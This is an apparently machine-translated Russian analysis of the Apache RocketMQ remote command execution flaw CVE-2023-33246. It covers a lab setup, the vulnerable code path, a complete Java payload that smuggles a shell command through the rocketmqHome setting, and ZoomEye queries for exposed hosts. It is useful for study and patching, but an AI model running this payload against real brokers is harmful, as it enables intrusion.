1. Знакомство с уязвимостью
Ссылки
Apache RocketMQ имеет уязвимость удаленного выполнения команд (CVE-2023-33246). NameServer, Broker, Controller и другие компоненты RocketMQ доступны из Интернета и не имеют проверки разрешений. Злоумышленник может воспользоваться этой уязвимостью, чтобы использовать функцию обновления конфигурации для выполнения команд от имени пользователя системы, запускающего RocketMQ.
2. Уязвимая версия
Ссылки
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6
3. Настройка среды
Ссылки
Используйте Docker для извлечения уязвимой среды
docker pull apache/rocketmq:4.9.5
Запустите команду docker run, чтобы создать среду докеров.
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.5 sh mqnamesrv
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.5 sh mqbroker -c /home/rocketmq/rocketmq-4.9.5/conf/broker.conf
Docker ps проверяет, что докер запускается нормально
https://dist.apache.org/repos/dist/release/rocketmq/4.9.5/rocketmq-all-4.9.5-source-release.zip
4. Введение в RocketMQ
Ссылки
Обычно мы используем какое-нибудь программное обеспечение для спортивных новостей и подписываемся на некоторые из наших любимых разделов команд. Когда автор публикует статью в соответствующем разделе, мы можем получать соответствующие новости.
Публикация-подписка (Pub/Sub) — это парадигма обмена сообщениями, в которой отправитель сообщения (называемый издателем, производителем, производителем) отправляет сообщение непосредственно конкретному получателю (называемому подписчиком, потребителем, потребителем). Базовая модель сообщений RocketMQ — это простая модель Pub/Sub [1].
Как производители и потребители находят адреса темы и брокера? Как осуществляется конкретная отправка и получение сообщений?
NameServer — это простой центр регистрации маршрутизации тем, который поддерживает динамическую регистрацию и обнаружение тем и брокеров.
В основном включает в себя две функции:
Брокер в основном отвечает за хранение, доставку и запрос сообщений, а также за гарантию высокой доступности сервиса.
NameServer практически не имеет узлов состояния, поэтому его можно развернуть в кластере без какой-либо синхронизации информации между узлами. Развертывание брокера является относительно сложным.
В архитектуре Master-Slave брокер разделен на Master и Slave. Один Мастер может соответствовать нескольким Слейвам, но один Слейв может соответствовать только одному Мастеру. Соответствующие отношения между главным и подчиненным определяются путем указания одного и того же BrokerName и разных BrokerId, значение которого равно 0, что означает главное, а значение, отличное от 0, означает подчиненное. Мастер также может развернуть несколько.
Прежде чем отправлять и получать сообщения, нам нужно сообщить клиенту адрес NameServer. У RocketMQ есть много способов установить адрес NameServer в клиенте. Вот три примера: высокий приоритет переопределяет низкий приоритет. .
producer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
consumer.setNamesrvAddr("192.168.0.1:9876;192.168.0.2:9876");
-Drocketmq.namesrv.addr=192.168.0.1:9876;192.168.0.2:9876
export NAMESRV_ADDR=192.168.0.1:9876;192.168.0.2:9876
DefaultMQAdminExt — это класс расширения, предоставляемый RocketMQ. Он предоставляет некоторые инструменты и методы для управления и эксплуатации RocketMQ, которые можно использовать для управления темами, группами потребителей, отношениями подписок и т. д.
Класс DefaultMQAdminExt предоставляет некоторые часто используемые методы, включая создание и удаление тем, запрос информации о теме, запрос информации о группах потребителей, обновление отношений подписки и т. д. Он может получать и изменять соответствующую информацию о конфигурации путем взаимодействия с NameServer и предоставляет функции управления для RocketMQ.
Например, DefaultMQAdminExt обновляет конфигурацию брокера (обновленный файл конфигурации —broker.conf):
public void updateBrokerConfig(String brokerAddr,
Properties properties) throws RemotingConnectException, RemotingSendRequestException,
RemotingTimeoutException, UnsupportedEncodingException, InterruptedException, MQBrokerException {
defaultMQAdminExtImpl.updateBrokerConfig(brokerAddr, properties);
}
существовать Apache RocketMQ середина,FilterServerManager
Класс используется для управления серверами фильтров (Filter Сервер) класс. Сервер фильтров RocketMQ Компонент в , используемый для поддержки функции фильтрации сообщений. Сервер фильтрации отвечает за регистрацию, обновление и удаление правил фильтрации сообщений, а также за оценку и сопоставление фильтрации сообщений.
5. Анализ уязвимостей
Ссылки
Все модули Filter Server удалены напрямую из файла патча [2], поэтому мы можем посмотреть непосредственно на FilterServerManager и кратко проанализировать процесс вызова FilterServerManager:
существоватьBrokerВыполнить при запускеsh mqbroker...
,Вызов класса BrokerStartup:
существования Продолжайте вызывать метод start() в BrokerController в этом классе.
продолжать следить за
Наконец, мы добираемся до класса FilterServerManager, где FilterServerUtil.callShell() хранит команду существования;
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
private String buildStartCommand() {
String config = "";
if (BrokerStartup.configFile != null) {
config = String.format("-c %s", BrokerStartup.configFile);
}
if (this.brokerController.getBrokerConfig().getNamesrvAddr() != null) {
config += String.format(" -n %s", this.brokerController.getBrokerConfig().getNamesrvAddr());
}
if (RemotingUtil.isWindowsPlatform()) {
return String.format("start /b %s\\bin\\mqfiltersrv.exe %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
} else {
return String.format("sh %s/bin/startfsrv.sh %s",
this.brokerController.getBrokerConfig().getRocketmqHome(),
config);
}
}
Согласно внутренней части метода start(), метод createFilterServer будет вызываться каждые 30 секунд.
public void start() {
this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
@Override
public void run() {
try {
FilterServerManager.this.createFilterServer();
} catch (Exception e) {
log.error("", e);
}
}
}, 1000 * 5, 1000 * 30, TimeUnit.MILLISECONDS);
}
На этом этапе очевидно, что нам нужно только управлять BrokerConfig для объединения команд и ждать запуска createFilterServer для запуска RCE.
Однако есть две проблемы, которые необходимо решить, чтобы успешно запустить выполнение команды:
1. В существующем методе createFilterServer значение more должно быть больше 0, чтобы вызвать метод callShell.
public void createFilterServer() {
int more =
this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
String cmd = this.buildStartCommand();
for (int i = 0; i < more; i++) {
FilterServerUtil.callShell(cmd, log);
}
}
Здесь вам нужно только установить значение filterServerNums через DefaultMQAdminExt, что примерно так:
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
...
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
...
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", props);
...
2. Когда метод callshell передает команду, ShellString будет разделен на массив cmdArray с использованием пробелов с помощью метода SplitShellString.
public static void callShell(final String shellString, final InternalLogger log) {
Process process = null;
try {
String[] cmdArray = splitShellString(shellString);
process = Runtime.getRuntime().exec(cmdArray);
process.waitFor();
log.info("CallShell: <{}> OK", shellString);
} catch (Throwable e) {
log.error("CallShell: readLine IOException, {}", shellString, e);
} finally {
if (null != process)
process.destroy();
}
}
Это значит, что если во входящей команде есть пробелы,будет демонтирован разделен на массив,Массив существуетexec будет отмечать конец каждой команды как начало следующей команды [3].
sh {Управляемый}/bin/startfsrv.sh ...
,Если передано-c curl 127.0.0.1;
ТакcomArrayдля['sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...']
Конец каждой команды здесь используется как начало следующей команды. Он рассматривает каждую входящую команду как единое целое. Я не могу придумать более подходящего примера. Для облегчения понимания можно использовать одинарные кавычки.
'sh' '-c' 'curl' '127.0.0.1' ';' '/bin/startfsrv.sh' '...'
Очевидно, что curl 127.0.0.1 разделен на две части из-за использования пробелов. Правильный способ написания:
'sh' '-c' 'curl 127.0.0.1' ';' '/bin/startfsrv.sh' '...'
Но использование пробелов приведет к разделению,Итак, проблема теперь в том, как избежать использования пробелов для полной передачи параметров.,Решение опубликовано в Интернете [4]:
-c $@|sh . echo curl 127.0.0.1;
@Как специальная переменная, она представляет все параметры, передаваемые в скрипт или команду, и напрямую передает значение после echo в целом.@,Исправлена проблема с разделением команд.
Спасибо longofo@knowchuangyu404 Lab за то, что помогли мне изучить второй метод обхода:
Кстати,Основная точка этого обхода существует здесь, если вы не используете bash.,Вы не можете успешно использовать ${IFS} и {} для обхода ограничений пространства.,Я не буду здесь вдаваться в подробности.,Заинтересованные мастера могут попробовать:
-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";
Основываясь на вышеизложенных знаниях, окончательная построенная полезная нагрузка выглядит следующим образом:
Properties properties = new Properties();
properties.setProperty("filterServerNums","1");
properties.setProperty("rocketmqHome","-c bash${IFS}-c${IFS}\"{echo,dG91Y2ggL3RtcC9kZGRkZGRkYWE=}|{base64,-d}|{bash,-i}\";");
DefaultMQAdminExt defaultMQAdminExt = new DefaultMQAdminExt();
defaultMQAdminExt.setNamesrvAddr("localhost:9876");
defaultMQAdminExt.start();
defaultMQAdminExt.updateBrokerConfig("192.168.87.128:10911", properties);
defaultMQAdminExt.shutdown();
использоватьpayloadруководитьcurl dnslog
,Запрос принимается каждые 30 секунд или около того:
Фильтр серверный модуль напрямую удален в ремонтных версиях 4.9.6 и 5.1.1.
Используйте Zoomeye[5] для поиска и получения результатов по 34348 IP:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22
Используйте Zoomeye для поиска по количеству атакованных целей и получите результаты 6011 IP:
https://www.zoomeye.org/searchResult?q=service%3A%22RocketMQ%22%2B%22rocketmqHome%3D-c%20%24%40%7Csh%22
С помощью функции загрузки Zoomeye давайте сделаем некоторую локальную статистику по методам атак. Большинство методов здесь используют wget, Curl и другие команды для загрузки троянов и выполнения отскоковых оболочек.
6. Справочные ссылки
Ссылки
[1] https://github.com/apache/rocketmq/tree/rocketmq-all-4.5.1/docs/cn
[2] https://github.com/apache/rocketmq/commit/c469a60dcca616b077caf2867b64582795ff8bfc
[3] https://stackoverflow.com/questions/48011611/what-exactly-can-we-store-inside-of-string-array-in-process-exec
[4] https://github.com/I5N0rth/CVE-2023-33246
[5] https://www.zoomeye.org